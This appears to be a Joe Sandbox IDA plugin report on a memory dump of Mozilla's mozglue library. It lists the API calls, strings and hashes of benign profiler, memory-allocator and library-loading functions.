markersallthreads, xrefs: 6C99CE42
cpuallthreads, xrefs: 6C99CE16
seqstyle, xrefs: 6C99CCE6
leaf, xrefs: 6C99CC66
fileio, xrefs: 6C99CC92
screenshots, xrefs: 6C99CCD4
samplingallthreads, xrefs: 6C99CE2C
mainthreadio, xrefs: 6C99CC7C
audiocallbacktracing, xrefs: 6C99CDD4
jsallocations, xrefs: 6C99CD0E
nostacksampling, xrefs: 6C99CD7C
preferencereads, xrefs: 6C99CD92
processcpu, xrefs: 6C99CE6E
ipcmessages, xrefs: 6C99CDBE
power, xrefs: 6C99CE84
Unrecognized feature "%s"., xrefs: 6C99CEA0

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

user32.dll, xrefs: 6C964557, 6C96463F
WRusr.dll, xrefs: 6C9644B5
kernel32.dll, xrefs: 6C9644CD
NativeNtBlockSet_Write, xrefs: 6C9646F7
l, xrefs: 6C964578

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B
[I %d/%d] profiler_start, xrefs: 6C99EBB4

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
Thread , xrefs: 6C99F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
" attempted to re-register as ", xrefs: 6C99F858

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C99EED7
[I %d/%d] profiler_pause, xrefs: 6C99F008

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

<jemalloc>, xrefs: 6C98D268, 6C98D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
MALLOC_OPTIONS, xrefs: 6C98D0CB
MOZ_CRASH(), xrefs: 6C98D277

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
